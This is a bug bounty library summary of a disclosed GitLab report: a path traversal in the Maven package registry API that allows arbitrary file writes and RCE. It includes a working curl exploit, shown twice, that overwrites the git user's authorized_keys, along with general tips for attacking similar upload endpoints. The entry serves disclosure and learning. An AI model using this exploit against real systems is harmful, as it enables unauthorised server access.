# Path traversal, to RCE

Path traversal in GitLab Maven package registry API let an authenticated user write arbitrary files as git, overwriting .ssh/authorized_keys to gain RCE.

- Payout: $12,000
- Severity: high
- Program: GitLab
- Found by: saltyyolk
- Disclosed: 2022-06-07
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/733072
- Library page: https://bugbountylibrary.com/r/h1%3A733072
- Tags: area:web domain:web impact:privesc impact:rce kind:bounty platform:hackerone sev:high tech:rest technique:source-review vuln:file-upload vuln:path-traversal vuln:rce

**Target:** GitLab package registry API (Maven package upload endpoint)
**Root cause:** The Maven package upload path parameter was URL-decoded and used to build a filesystem path without sanitizing `..` sequences, allowing traversal outside the package storage directory.
**Steps:**
1. Enable package registry; create a project and a private token.
2. Send `curl -H "Private-Token: $(cat token)" http://10.26.0.5/api/v4/projects/2/packages/maven/a%2fb%2fc%2fd%2fe%2ff%2fg%2fh%2fi%2f1/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f.ssh%2fauthorized_keys -XPUT --path-as-is --data-binary @/home/asakawa/.ssh/id_rsa.pub`
3. The `%2e%2e%2f` sequences decode to `../` and escape the package dir, writing the attacker's public key to git's `.ssh/authorized_keys`.
4. Run `ssh git@host` to obtain a shell as the git user.
**How found:** Noting similarity to a prior package registry traversal (#732330) but simpler; recognizing the Maven path parameter was decoded and concatenated into a filesystem path, then testing encoded `../` to escape the storage directory.
**Exploitation:** Authenticated attacker with a private token uploads a crafted Maven package path containing encoded `../` segments; the server writes the request body to an arbitrary path writable by the git user. Overwriting `~git/.ssh/authorized_keys` yields SSH access and command execution as git.
**Escalation:** Arbitrary file write as git escalates to RCE via authorized_keys overwrite (could also target hooks/config files).
**Insight:** Package/artifact registry upload endpoints that map user-supplied coordinates (group/artifact/version) to disk paths are prime traversal targets; test URL-encoded `%2e%2e%2f` with `--path-as-is` and target files like `.ssh/authorized_keys` or git hooks for RCE.

## Proof of concept (copied exactly from the original report)

**curl PUT path traversal to write authorized_keys**

```
curl -H "Private-Token: $(cat token)" http://10.26.0.5/api/v4/projects/2/packages/maven/a%2fb%2fc%2fd%2fe%2ff%2fg%2fh%2fi%2f1/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f.ssh%2fauthorized_keys -XPUT --path-as-is --data-binary @/home/asakawa/.ssh/id_rsa.pub
```

